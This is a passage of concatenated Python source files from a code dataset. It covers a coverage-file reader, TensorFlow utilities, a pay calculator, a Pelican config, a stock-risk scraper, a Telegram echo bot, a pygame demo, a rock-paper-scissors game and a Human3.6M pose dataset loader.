testCaseNameList=[]\n \n def __init__(self,path): \n self.covFile = open(path+\"/cov.info\", \"r\")\n self.faultFile = open(path+\"/fault.info\", \"r\")\n self.rtimeFile = open(path+\"/rtime.info\", \"r\")\n \n self.featureNames = {}\n \n self.testCaseNames=[]\n self.faultNames=[]\n self.timeofTestcase={}\n \n \"\"\"\n each sparse map is to represent one constraint in inequation, and use the list to store all the inequation constraints\n \"\"\"\n self.sparseInequationsMapList = [] \n \n \"\"\"\n each sparse map is to represent one constraint in equation, and use the list to store all the equation constraints\n \"\"\"\n self.sparseEquationsMapList = []\n \n \"\"\"\n This map stores the relation between a fault and the set of test cases that cover this fault. The key is the fault, and the value is the test cases\n \"\"\"\n self.faultToTestcaseMap={}\n \n \"\"\"\n This map stores the relation between a stmt and the set of test cases that cover this stmt. The key is the fault, and the value is the test cases\n \"\"\"\n self.stmtsofTestcaseMap={}\n \n ProbReader.testToFaultcaseMap.clear()\n ProbReader.testToStmtcaseMap.clear()\n ProbReader.testCaseNameList.clear() \n return \n \n def displayFeatureNum(self):\n print (\"Total feature size: \",len(self.featureNames))\n \n def displayTestCaseNum(self):\n print (\"Total testcase size: \",len(self.testCaseNames))\n \n def displayStmtNum(self):\n print (\"Total statement size: \",len(self.stmtsofTestcaseMap))\n \n def displayFaultNum(self):\n print (\"Total fault size: \",len(self.faultToTestcaseMap))\n \n def displayConstraintInequationNum(self):\n print (\"Total constrained inequations size: \",len(self.sparseInequationsMapList))\n \n def displayConstraintEquationNum(self):\n print (\"Total constrained equations size: \",len(self.sparseEquationsMapList))\n \n def load(self):\n 'first read all the test case names'\n self.loadRtimeFile()\n self.loadCovFile()\n self.loadFaultFile()\n \n self.buildFeatures()\n ProbReader.testSuiteSize = len(self.testCaseNames) \n ProbReader.stmtSetSize = len(self.stmtsofTestcaseMap)\n ProbReader.fauktSetSize = len(self.faultToTestcaseMap)\n ProbReader.testCaseNameList.extend(self.testCaseNames)\n assert len(ProbReader.testToFaultcaseMap) == len(ProbReader.testCaseNameList)\n assert len(ProbReader.testToStmtcaseMap) == len(ProbReader.testCaseNameList)\n #print (self.timeofTestcase)\n #print (self.stmtsofTestcaseMap)\n #print (self.faultToTestcaseMap)\n return \n \n def buildFeatures(self):\n faultIDs = map(lambda x: int(x[1:]), self.faultToTestcaseMap.keys())\n sortedFaultIDs = sorted(faultIDs) \n totalFeatures= len(self.testCaseNames) + len(sortedFaultIDs)\n for i in range(0,totalFeatures):\n if i < len(self.testCaseNames) :\n key = self.testCaseNames[i]\n self.featureNames[key] = i\n else:\n key = 'f'+str(sortedFaultIDs[i-len(self.testCaseNames)])\n self.featureNames[key] = i \n return\n \n def loadFaultFile(self):\n line = self.faultFile.readline() # 调用文件的 readline()方法\n while line:\n #for testing purpose\n #print(line, end = '')\n parts = line.split(':')\n #example: t2:2 3\n testCaseName= parts[0].strip()\n faults = parts[1].split(' ')\n 'bug fixed here, for case: [\"t329\", \"\\n\"]'\n if( parts[1].strip() == '\\n' or parts[1].strip() == '' ):\n faultList = []\n ProbReader.testToFaultcaseMap[testCaseName]=faultList \n line = self.faultFile.readline()\n continue\n for fault in faults:\n faultName= 'f'+fault.strip()\n if faultName in self.faultToTestcaseMap:\n testcaseList= self.faultToTestcaseMap[faultName]\n testcaseList.append(testCaseName)\n else: \n testcaseList = []\n testcaseList.append(testCaseName)\n self.faultToTestcaseMap[faultName]=testcaseList \n 'adding again for the test to fault map'\n for fault in faults:\n faultName= 'f'+fault.strip()\n if testCaseName in ProbReader.testToFaultcaseMap:\n faultList= ProbReader.testToFaultcaseMap[testCaseName]\n faultList.append(faultName)\n else: \n faultList = []\n faultList.append(faultName)\n ProbReader.testToFaultcaseMap[testCaseName]=faultList \n line = self.faultFile.readline()\n self.faultFile.close()\n 'check there exist no duplication in the map'\n for faultName in self.faultToTestcaseMap:\n testcaseList= self.faultToTestcaseMap[faultName]\n cou=Counter(testcaseList)\n first=cou.most_common(1)\n if first[0][1]>1:\n print ('input have duplicates!!!')\n exit(-1) \n return \n \n def loadCovFile(self):\n line = self.covFile.readline() # 调用文件的 readline()方法\n while line:\n #for testing purpose\n #print(line, end = '')\n parts = line.split(':')\n #example: t2:2 3\n testCaseName= parts[0].strip()\n stmts = parts[1].split(' ')\n if( parts[1].strip() == '\\n' or parts[1].strip() == '' ):\n stmtList = []\n ProbReader.testToStmtcaseMap[testCaseName]=stmtList \n line = self.covFile.readline()\n continue\n \n for stmt in stmts:\n stmtName= 's'+stmt.strip()\n if stmtName in self.stmtsofTestcaseMap:\n testcaseList= self.stmtsofTestcaseMap[stmtName]\n testcaseList.append(testCaseName)\n else: \n testcaseList = []\n testcaseList.append(testCaseName)\n self.stmtsofTestcaseMap[stmtName]=testcaseList\n 'adding again for the test to stmt map'\n for stmt in stmts:\n stmtName= 's'+stmt.strip()\n if testCaseName in ProbReader.testToStmtcaseMap:\n stmtList= ProbReader.testToStmtcaseMap[testCaseName]\n stmtList.append(stmtName)\n else: \n stmtList = []\n stmtList.append(stmtName)\n ProbReader.testToStmtcaseMap[testCaseName]=stmtList \n line = self.covFile.readline()\n self.covFile.close()\n 'check there exist no duplication in the map'\n for stmtName in self.stmtsofTestcaseMap:\n testcaseList= self.stmtsofTestcaseMap[stmtName]\n cou=Counter(testcaseList)\n first=cou.most_common(1)\n if first[0][1]>1:\n print ('input have duplicates!!!')\n exit(-1) \n return \n \n def loadRtimeFile(self):\n line = self.rtimeFile.readline() # 调用文件的 readline()方法\n while line:\n #for testing purpose\n #print(line, end = '')\n parts = line.split(':')\n testCaseName= parts[0].strip()\n time= float(parts[1].strip())\n self.testCaseNames.append(testCaseName)\n self.timeofTestcase[testCaseName] = time\n line = self.rtimeFile.readline()\n self.rtimeFile.close()\n return \n \nif __name__ == \"__main__\":\n #reader = ProbReader('../../../Nemo/subject_programs/make_v5')\n reader = ProbReader('../../../Nemo/example')\n reader.load()\n reader.displayFeatureNum()\n reader.displayTestCaseNum()\n reader.displayStmtNum()\n reader.displayFaultNum()\n print (reader.testCaseNames)\n print (ProbReader.testToFaultcaseMap)\n print (ProbReader.testToStmtcaseMap)\nelse:\n print(\"probReader.py is being imported into another module\")","sub_path":"code/moea/probReader.py","file_name":"probReader.py","file_ext":"py","file_size_in_byte":8763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"12017279","text":"\"\"\"Contains a collection of utility functions for training and evaluating\"\"\"\nfrom __future__ import absolute_import, division, print_function\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import logging\nfrom tensorflow.python.ops import array_ops, variable_scope\nfrom tensorflow import gfile\n\ndef _shape(tensor):\n return tensor.get_shape().as_list()\n\ndef task_as_string(task):\n return \"/job:{}/task:{}\".format(task.type, task.index)\n\n\ndef makeSummary(name, value):\n \"\"\"Creates a tf.Summary prototype with given name and value\"\"\"\n summary = tf.Summary()\n val = summary.value.add()\n val.tag = str(name)\n val.simple_value = float(value)\n return summary\n\ndef getListOfFeatureNamesAndSizes(feature_names, feature_sizes):\n \"\"\"Extract the list of feature names and the dimensionality of each\n feature from string of comma separated values\n\n Args:\n feature_names: string containing comma separated list of features names\n feature_sizes: string containing comma separated list of feature sizes\n\n Returns:\n List of the feature names and list of the dimensionality of each feature.\n elements in the first/second list are strings/integers\n \"\"\"\n\n list_of_feature_names = [\n feature_names.strip() for feature_names in feature_names.split(',')\n ]\n list_of_feature_sizes = [\n int(feature_sizes) for feature_sizes in feature_sizes.split(',')\n ]\n if len(list_of_feature_names) != len(list_of_feature_sizes):\n logging.error(\"Length of feature names (={}) != Length of feature sizes (={})\".format(\n len(list_of_feature_names), len(list_of_feature_sizes)\n ))\n return list_of_feature_names, list_of_feature_sizes\n\ndef get_blocks(images, kernel_size=(1, 1)):\n \"\"\"Splits images into blocks\n Args:\n images: (num_images, height, width, channels) tensor\n kernel_size: A list of length 2 holding the window shape\n\n \"\"\"\n with variable_scope.variable_scope(\"image_subsampling\"):\n batch_size, height, width, channels = _shape(images)\n\n if height % kernel_size[0] != 0:\n offset = array_ops.zeros([batch_size,\n kernel_size[0] - (height % kernel_size[0]),\n width,\n channels])\n images = array_ops.concat([images, offset], 1)\n batch_size, height, width, channels = _shape(images)\n\n if width % kernel_size[1] != 0:\n offset = array_ops.zeros([batch_size,\n height,\n kernel_size[1] - (width % kernel_size[1]),\n channels])\n images = array_ops.concat([images, offset], 2)\n batch_size, height, width, channels = _shape(images)\n new_h, new_w = int(height / kernel_size[0]), int(width / kernel_size[1])\n features = kernel_size[0]*kernel_size[1]*channels\n\n lines = array_ops.split(images, new_h, axis=1)\n line_blocks = []\n for line in lines:\n line = array_ops.transpose(line, [0, 2, 3, 1])\n line = array_ops.reshape(line, [batch_size, new_w, features])\n line_blocks.append(line)\n return array_ops.stack(line_blocks, axis=1)\n","sub_path":"MDLSTM/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"443156148","text":"#Autor: Daniela Estrella Tovar\r\n# Descripción: Dadas las horas trabajadas, las horas extra, y el pago por hora, calcular el pago normal, el pago extra y el pago total.\r\n\r\ndef calcularPagoNormal(horasTrabajo, pago):\r\n pagoNormal= horasTrabajo*pago\r\n return pagoNormal\r\n\r\ndef calcularPagoExtra(horasExtra,pago):\r\n pagoExtra= horasExtra* pago *1.85\r\n return pagoExtra\r\n\r\ndef calcularPagoTotal(horasExtra,horasTrabajo,pago):\r\n pagoExtra=calcularPagoExtra(horasExtra, pago)\r\n pagoNormal=calcularPagoNormal(horasTrabajo, pago)\r\n pagoTotal= pagoNormal + pagoExtra\r\n return pagoTotal\r\n\r\ndef main():\r\n horasTrabajo= int(input(\"Teclea las horas normales trabajadas: \"))\r\n horasExtra= int(input(\"Teclea las horas extra trabajadas: \"))\r\n pago= int(input(\"Teclea el pago por hora: \"))\r\n pagoNormal= calcularPagoNormal(horasTrabajo, pago)\r\n print(\"\"\" \r\nPago Normal: $%.2f\"\"\" % (pagoNormal))\r\n pagoExtra= calcularPagoExtra(horasExtra,pago)\r\n print(\"\"\"Pago Extra: $%.2f\"\"\" % (pagoExtra))\r\n pagoTotal= calcularPagoTotal(horasExtra,horasTrabajo,pago)\r\n print(\"\"\"\r\nPago Total= $%.2f \"\"\" % (pagoTotal))\r\n\r\nmain()","sub_path":"Pago.py","file_name":"Pago.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"374539901","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\nimport os\n\nSTAGE = os.environ.get(\"STAGE\", \"dev\")\n\nAUTHOR = \"Rick Henry\"\nSITENAME = \"Baseball Blog\"\nSITESUBTITLE = \"A companion blog to a non-existent baseball team\"\nSITEURL = os.environ.get(\"SITEURL\", \"\")\nTHEME = \"themes/future-imperfect\"\n\nSHORT_DESCRIPTION = (\n \"This is a static site generated with pelican hosted on netlify. \"\n \"It will use netlify cms to get all the speed and ease of a static site, \"\n \"but with some of the flexibility and dynamic content of a cms.\"\n)\n\nFEATURED_CATEGORY1 = \"Weird Rules\"\nFEATURED_CATEGORY2 = \"Recaps\"\n\nPATH = \"content\"\n\nTIMEZONE = \"America/New_York\"\nDEFAULT_DATE_FORMAT = \"%B %d, %Y\"\n\nDEFAULT_LANG = \"en\"\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Blogroll\nLINKS = (\n (\"Pelican\", \"http://getpelican.com/\"),\n (\"Python.org\", \"http://python.org/\"),\n (\"Jinja2\", \"http://jinja.pocoo.org/\"),\n (\"You can modify those links in your config file\", \"#\"),\n)\n\n# Social widget\nSOCIAL = ((\"You can add links in your config file\", \"#\"), (\"Another social link\", \"#\"))\n\nDEFAULT_PAGINATION = False\n\n# Uncomment following line if you want document-relative URLs when developing\nRELATIVE_URLS = False\n\nPLUGIN_PATHS = [\"plugins\"]\nPLUGINS = [\"sitemap\", \"assets\", \"tipue_search.tipue_search\"]\nSITEMAP = {\"format\": \"xml\"}\n\nsass_style = \"expanded\" if STAGE == \"dev\" else \"compressed\"\n\nASSET_CONFIG = (\n)\n\nSTATIC_PATHS = ['admin', 'images']\n\nPAGE_EXCLUDES = ['admin']\nARTICLE_EXCLUDES = ['admin']\n\nARTICLE_URL = '{date:%Y-%m-%d}-{slug}'\nARTICLE_SAVE_AS = '{date:%Y-%m-%d}-{slug}.html'\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"284940907","text":"#!/usr/bin/env python3\nfrom bs4 import BeautifulSoup\nimport pandas as p\nimport traceback\nfrom obj import yahoo_obj as y\nfrom src.helpers import commons as cm\n\ndef getRisk(html, ticker):\n soup = BeautifulSoup(html, 'html.parser')\n test = lambda x: x!=\"VGT\"\n empty = lambda x: len(x)>0\n print(\"Risk data for {0}:\".format(ticker))\n dict = {\"Type\": [i.text for i in soup.select(y.risk(str(2))) if test(i.text)]}\n data = []\n for x in range(3,20):\n try:\n data = [i.text for i in soup.select(y.risk(str(x))) if empty(i.text)]\n dict[data[0]] = [float(i) for i in data[1:]]\n except:\n pass\n print(dict)\n return dict\n\ndef risk(tickers, metadata):\n code = 0\n for i in tickers:\n try:\n resp = cm.getHtml(\"risk\", i)\n code = resp[0]\n return getRisk(resp[1], i)\n except:\n print(\"Exception occured, this is the status code {0}, and this is the ticker\".format(i))\n traceback.print_exc()\n return None\n\nif __name__ == \"__main__\":\n risk(\"aapl\",\"\")\n","sub_path":"src/risk.py","file_name":"risk.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"134387082","text":"import sys\nfrom logging import INFO, basicConfig, getLogger\n\nfrom echo_bot.database import Database\nfrom echo_bot.echo_handler import EchoHandler\nfrom echo_bot.loader import Loader\nfrom echo_bot.settings import Settings\nfrom telethon import TelegramClient\nfrom telethon.errors.rpcerrorlist import PhoneNumberInvalidError\nfrom telethon.network.connection.tcpabridged import \\\n ConnectionTcpAbridged as CTA\n\nfrom .command_handler import CommandHandler\n\n\nclass EchoChamberBot:\n settings = Settings()\n database = Database()\n\n def __init__(self):\n basicConfig(format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=INFO)\n self.logger = getLogger(__name__)\n self.command_handler = CommandHandler(self.database, self.logger, self.settings)\n self.echo_handler = EchoHandler(self.settings, self.logger, self.database, self.command_handler)\n self._start_client()\n self.loader = Loader(self.client, self.logger, self.settings, self.database, self.command_handler)\n\n def run_until_done(self):\n self.loader.load_all_modules()\n self.logger.info(\"Client successfully started.\")\n self.echo_handler.start_handler(self.client)\n self.logger.info(\"Echo handler successfully started.\")\n self.client.run_until_disconnected()\n\n def _check_config(self):\n api_key = self.settings.get_config(\"api_key\")\n api_hash = self.settings.get_config(\"api_hash\")\n bot_token = self.settings.get_config(\"bot_token\")\n\n while not api_key:\n api_key = input(\"Enter your API key: \")\n\n self.settings.set_config(\"api_key\", api_key)\n\n while not api_hash:\n api_hash = input(\"Enter your API hash: \")\n\n self.settings.set_config(\"api_hash\", api_hash)\n\n while not bot_token:\n bot_token = input(\"Enter your bot token: \")\n\n self.settings.set_config(\"bot_token\", bot_token)\n\n return api_key, api_hash, bot_token\n\n def _start_client(self):\n api_key, api_hash, bot_token = self._check_config()\n self.client = TelegramClient(\"echo_bot\", api_key, api_hash, connection=CTA)\n\n try:\n self.client.start(bot_token=bot_token)\n except PhoneNumberInvalidError:\n print(\"The bot token provided is invalid, exiting.\")\n sys.exit(2)\n\n async def stop_client(self):\n await self.client.disconnect()\n\n\necho_bot = EchoChamberBot()\nldr = echo_bot.loader\n\ntry:\n echo_bot.run_until_done()\nexcept:\n echo_bot.client.loop.run_until_complete(echo_bot.stop_client())\n","sub_path":"echo_bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"230825802","text":"import pygame\nfrom pygame.locals import *\nfrom sys import exit\n\nbackground_image_filename = 'background.jpg'\nSCREEN_SIZE = (800, 450)\n\npygame.init()\n\nscreen = pygame.display.set_mode(SCREEN_SIZE, RESIZABLE, 32)\npygame.display.set_caption(\"Hello, World!\")\n\nbackground = pygame.image.load(background_image_filename).convert()\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n exit(0)\n if event.type == VIDEORESIZE:\n SCREEN_SIZE = event.size\n screen = pygame.display.set_mode(SCREEN_SIZE, RESIZABLE, 32)\n pygame.display.set_caption(\"Window resized to \" + str(event.size))\n\n screen.blit(background, (0,0))\n\n x, y = pygame.mouse.get_pos()\n print(x, \" \", y)\n\n pygame.display.update()\n","sub_path":"resizeable.py","file_name":"resizeable.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"61697743","text":"import random\nclass Person():\n def __init__(self,name):\n self.name=name\n self.score=0\n\n def fingerPlay(self):\n game=['石头','剪刀','布']\n index=random.randint(0,2)\n #random.choice(game)\n return game[index]\n\nclass Game():\n def __init__(self,number,aname,bname):\n self.number = number\n self.a = person()\n self.b = person()\n\n def playGame(self):\n for i in range(self.number):\n a_out=self.a.fingerPlay()\n b_Out=self.b.fingerPlay()\n if a_out == b_out:\n print('平局,出的是{}'.format(a_out))\n elif (a_out == '石头'and b_out == '剪刀')or(a_out == '布'and b_out == '石头')or(a__out == '剪刀'and b_out == '布'):\n print('{}获胜,出的是{},{}出的是{}'.format(self.a.name,a_out,self.b.name,b_out))\n else:\n print('{}获胜,出的是{},{}出的是{}'.format(self.b.name,b_out,self.a.name,a_out))\none = Game(5,'JYP','pupppy')\none.playGame() ","sub_path":"1906101028-游雯雯/day0310/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"216222067","text":"import torch.utils.data\r\nimport torchvision.transforms as transforms\r\nimport os.path as osp\r\nimport pickle as pkl\r\nimport re\r\nimport numpy as np\r\nfrom utils.transforms import crop\r\nfrom utils.preprocessing import load_img\r\nfrom utils.geometry import batch_rodrigues, rotation_matrix_to_angle_axis\r\nfrom utils.transforms import normalize_and_concat_72, normalize_screen_coordinates, normalize_and_concat, bbox_from_json\r\nimport config\r\nimport os\r\nfrom smplpytorch.pytorch.smpl_layer import SMPL_Layer\r\nfrom config import joint_set\r\nfrom models.smpl import H36M_TO_J14, SMPL\r\nimport cv2\r\n\r\ncam_param = {\"R\": [[0.9228353966173104, -0.37440015452287667, 0.09055029013436408],\r\n [-0.01498208436370467, -0.269786590656035, -0.9628035794752281],\r\n [0.38490306298896904, 0.8871525910436372, -0.25457791009093983]],\r\n \"t\": [25.76853374383657, 431.05581759025813, 4461.872981411145],\r\n \"f\": [1145.51133842318, 1144.77392807652],\r\n \"c\": [514.968197319863, 501.882018537695]}\r\n\r\n\r\nclass H36MDataset(torch.utils.data.Dataset):\r\n def __init__(self, is_train, img_res=224, window_size=16):\r\n super(H36MDataset, self).__init__()\r\n self.is_train = is_train\r\n self.img_res = img_res\r\n self.window_size = window_size\r\n self.img_path = os.path.join(config.BASE_DATA_DIR, 'h36m')\r\n # self.data_path_imu = os.path.join(self.img_path, \"imu\")\r\n self.data_path_imu = os.path.join(config.BASE_DATA_DIR, 'h36m', \"imu_3d\")\r\n\r\n self.data_path_pkl = os.path.join(self.img_path, \"h36m\")\r\n\r\n self.transform = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\r\n ])\r\n\r\n self.smpl_layer = SMPL(\r\n config.SMPL_MODEL_DIR,\r\n batch_size=64,\r\n create_transl=False,\r\n ).cpu()\r\n # self.h36m_joint_regressor = np.load(\r\n # '/home/data/Paper-Project/connect_features/dataset/J_regressor_h36m_correct.npy')\r\n self.h36m_joint_regressor = np.load('E:/Paper-Project/connect_features/dataset/J_regressor_h36m_correct.npy')\r\n self.data_train, self.data_val, self.data_test = self.load_data()\r\n if self.is_train == 'train':\r\n self.data_all = self.data_train\r\n elif self.is_train == 'val':\r\n self.data_all = self.data_val\r\n else:\r\n self.data_all = self.data_test\r\n\r\n print('load data len=', len(self.data_all))\r\n\r\n def load_data(self):\r\n data_list_train = []\r\n data_list_val = []\r\n data_list_test = []\r\n\r\n if self.is_train == 'train':\r\n subjects = [1, 5, 6, 7, 8]\r\n for s in subjects:\r\n for ac in range(2, 17):\r\n for sb in range(1, 3):\r\n pkl_path = f'h36m_s{s}_action{ac}_subaction{sb}_imu_3d.pkl'\r\n pkl_path = os.path.join(self.data_path_imu, pkl_path)\r\n with open(pkl_path, 'rb') as f:\r\n data_imu = pkl.load(f, encoding='latin1')\r\n data_path = f'h36m_s{s}_action{ac}_subaction{sb}.pkl'\r\n pkl_data = os.path.join(self.data_path_pkl, data_path)\r\n with open(pkl_data, 'rb') as f:\r\n data_data = pkl.load(f, encoding='latin1')\r\n data_data = data_data[1:-1]\r\n for i in range(len(data_imu) - self.window_size):\r\n if i % 5 != 0:\r\n continue\r\n data = {'img': data_data[i + self.window_size - 1],\r\n 'imu': data_imu[i: i + self.window_size]}\r\n data_list_train.append(data)\r\n\r\n if self.is_train == 'val':\r\n subjects = [9, 11]\r\n for s in subjects:\r\n # ac = 2\r\n for ac in range(2, 17):\r\n for sb in range(1, 3):\r\n pkl_path = f'h36m_s{s}_action{ac}_subaction{sb}_imu_3d.pkl'\r\n pkl_path = os.path.join(self.data_path_imu, pkl_path)\r\n with open(pkl_path, 'rb') as f:\r\n data_imu = pkl.load(f, encoding='latin1')\r\n data_path = f'h36m_s{s}_action{ac}_subaction{sb}.pkl'\r\n pkl_data = os.path.join(self.data_path_pkl, data_path)\r\n with open(pkl_data, 'rb') as f:\r\n data_data = pkl.load(f, encoding='latin1')\r\n data_data = data_data[1:-1]\r\n for i in range(len(data_imu) - self.window_size):\r\n if i % 64 != 0:\r\n continue\r\n data = {'img': data_data[i + self.window_size - 1],\r\n 'imu': data_imu[i: i + self.window_size]}\r\n data_list_val.append(data)\r\n\r\n if self.is_train == 'test':\r\n\r\n # s_11_act_16_subact_02_ca_04\r\n s = 11\r\n a = 16\r\n sb = 2\r\n pkl_path = f'h36m_s{s}_action{a}_subaction{sb}_imu_3d.pkl'\r\n pkl_path = os.path.join(self.data_path_imu, pkl_path)\r\n with open(pkl_path, 'rb') as f:\r\n data_imu = pkl.load(f, encoding='latin1')\r\n data_path = f'h36m_s{s}_action{a}_subaction{sb}.pkl'\r\n pkl_data = os.path.join(self.data_path_pkl, data_path)\r\n with open(pkl_data, 'rb') as f:\r\n data_data = pkl.load(f, encoding='latin1')\r\n data_data = data_data[1:-1]\r\n for i in range(len(data_imu) - self.window_size):\r\n if i % 2 != 0:\r\n continue\r\n data = {'img': data_data[i + self.window_size - 1],\r\n 'imu': data_imu[i: i + self.window_size]}\r\n data_list_test.append(data)\r\n\r\n # subjects = [9,11]\r\n # for s in subjects:\r\n # for ac in range(2, 17):\r\n # for sb in range(1, 3):\r\n # pkl_path = f'h36m_s{s}_action{ac}_subaction{sb}_imu_3d.pkl'\r\n # pkl_path = os.path.join(self.data_path_imu, pkl_path)\r\n # with open(pkl_path, 'rb') as f:\r\n # data_imu = pkl.load(f, encoding='latin1')\r\n # data_path = f'h36m_s{s}_action{ac}_subaction{sb}.pkl'\r\n # pkl_data = os.path.join(self.data_path_pkl, data_path)\r\n # with open(pkl_data, 'rb') as f:\r\n # data_data = pkl.load(f, encoding='latin1')\r\n # data_data = data_data[1:-1]\r\n #\r\n # for i in range(len(data_imu) - self.window_size):\r\n # if i % 64 != 0:\r\n # continue\r\n # data = {'img': data_data[i + self.window_size - 1],\r\n # 'imu': data_imu[i: i + self.window_size]}\r\n # data_list_test.append(data)\r\n\r\n return data_list_train, data_list_val, data_list_test\r\n\r\n def get_smpl_coord(self, smpl_param, cam_param):\r\n\r\n pose, shape, trans = smpl_param['pose'], smpl_param['shape'], smpl_param['trans']\r\n smpl_pose = torch.FloatTensor(pose).view(-1, 3)\r\n smpl_shape = torch.FloatTensor(shape).view(1, -1) # smpl parameters (pose: 72 dimension, shape: 10 dimension)\r\n R, t = np.array(cam_param['R'], dtype=np.float32).reshape(3, 3), np.array(cam_param['t'],\r\n type=np.float32).reshape(\r\n 3) # camera rotation and translation\r\n\r\n # merge root pose and camera rotation\r\n root_pose = smpl_pose[0, :].numpy()\r\n root_pose, _ = cv2.Rodrigues(root_pose)\r\n root_pose, _ = cv2.Rodrigues(np.dot(R, root_pose))\r\n smpl_pose[0] = torch.from_numpy(root_pose).view(3)\r\n pose = batch_rodrigues(smpl_pose.view(-1, 3)).reshape(-1, 24, 3, 3)\r\n\r\n # get mesh and joint coordinates\r\n # smpl_poses = smpl_pose.view(24, 3).numpy()\r\n # rotation = []\r\n # for p in smpl_poses:\r\n # rotation.append(cv2.Rodrigues(p)[0])\r\n # rotation = np.array(rotation)\r\n # rotation = torch.tensor(rotation, dtype=torch.float32).view(-1, 24, 3, 3)\r\n # smplout = self.smpl(global_orient=rotation[:, 0].unsqueeze(1), body_pose=rotation[:, 1:], betas=smpl_shape,\r\n # pose2rot=False)\r\n smplout = self.smpl_layer(\r\n betas=smpl_shape,\r\n body_pose=pose[:, 1:],\r\n global_orient=pose[:, 0].unsqueeze(1),\r\n pose2rot=False\r\n )\r\n\r\n # smplout = self.smpl(global_orient=rotation[:, 0].unsqueeze(1), body_pose=rotation[:, 1:], betas=smpl_shape,\r\n # transl=trans, pose2rot=False)\r\n\r\n smpl_mesh_coord = smplout.vertices\r\n smpl_joint_coord = smplout.joints\r\n # incorporate face keypoints\r\n smpl_mesh_coord = smpl_mesh_coord.detach().numpy().astype(np.float32).reshape(-1, 3)\r\n smpl_joint_coord = smpl_joint_coord.detach().numpy().astype(np.float32).reshape(-1, 3)\r\n\r\n # compenstate rotation (translation from origin to root joint was not cancled)\r\n # smpl_trans = np.array(trans, dtype=np.float32).reshape(\r\n # 3) # translation vector from smpl coordinate to h36m world coordinate\r\n # smpl_trans = np.dot(R, smpl_trans[:, None]).reshape(1, 3) + t.reshape(1, 3) / 1000\r\n # root_joint_coord = smpl_joint_coord[0].reshape(1, 3)\r\n # smpl_trans = smpl_trans - root_joint_coord + np.dot(R, root_joint_coord.transpose(1, 0)).transpose(1, 0)\r\n #\r\n # smpl_mesh_coord = smpl_mesh_coord + smpl_trans\r\n # smpl_joint_coord = smpl_joint_coord + smpl_trans\r\n\r\n # change to mean shape if beta is too far from it\r\n smpl_shape[(smpl_shape.abs() > 3).any(dim=1)] = 0.\r\n\r\n # meter -> milimeter\r\n smpl_mesh_coord *= 1000\r\n smpl_joint_coord *= 1000\r\n return smpl_mesh_coord\r\n\r\n def get_fitting_error(self, h36m_joint, smpl_mesh):\r\n\r\n h36m_joint = h36m_joint - h36m_joint[0, None, :] # root-relative\r\n h36m_from_smpl = np.dot(self.h36m_joint_regressor, smpl_mesh)\r\n h36m_from_smpl = h36m_from_smpl - np.mean(h36m_from_smpl, 0)[None, :] + np.mean(h36m_joint, 0)[None,\r\n :] # translation alignment\r\n\r\n # h36m_from_smpl = h36m_from_smpl - h36m_from_smpl[self.h36m_root_joint_idx, None, :]\r\n\r\n error = np.sqrt(np.sum((h36m_joint - h36m_from_smpl) ** 2, 1)).mean()\r\n return error\r\n\r\n def gaussian(self, imu, mean, sigma):\r\n noise = np.random.normal()\r\n gaussian_out = imu + noise\r\n gaussian_out = np.clip(gaussian_out, -1, 1)\r\n return gaussian_out\r\n\r\n def __len__(self):\r\n return len(self.data_all)\r\n\r\n def __getitem__(self, index):\r\n\r\n gasis = np.random.rand()\r\n data_list = self.data_all[index]\r\n data = data_list['img']\r\n data_imus = data_list['imu']\r\n center, scale = bbox_from_json(data['bbox'])\r\n\r\n img_path = data['img_path']\r\n img_path = os.path.join(self.img_path, 'images', img_path)\r\n img = load_img(img_path)\r\n img_test, width, w, h = crop(img, center, scale, (self.img_res, self.img_res))\r\n\r\n \"\"\"get_error\"\"\"\r\n smpl_param = data['smpl_param']\r\n # smpl_mesh_cam = self.get_smpl_coord(smpl_param, cam_param)\r\n # error = self.get_fitting_error(data['joint_cam'], smpl_mesh_cam)\r\n # print(error)\r\n # print(error)\r\n if self.transform:\r\n img = self.transform(img_test)\r\n\r\n imu_rotations = []\r\n imu_accs = []\r\n left_Jtrs = []\r\n relative_Jtrs = []\r\n\r\n for data_imu in data_imus:\r\n imu_rotation = data_imu['imu_ori']\r\n imu_acc = torch.FloatTensor(data_imu['imu_acc'])\r\n left_Jtr = torch.FloatTensor(data_imu['left_keypoints'])\r\n relative_Jtr = torch.FloatTensor(data_imu['relative_keypoints'])\r\n\r\n left_Jtrs.append(left_Jtr)\r\n relative_Jtrs.append(relative_Jtr)\r\n imu_rotations.append(imu_rotation)\r\n imu_accs.append(imu_acc)\r\n\r\n imu_accs = torch.stack(imu_accs)\r\n imu_rotations = np.stack(imu_rotations)\r\n if gasis < 0.3:\r\n imu_rotations = self.gaussian(imu_rotations, 0, 0.2)\r\n\r\n imu_rotations = torch.FloatTensor(imu_rotations)\r\n left_Jtrs = torch.stack(left_Jtrs)\r\n 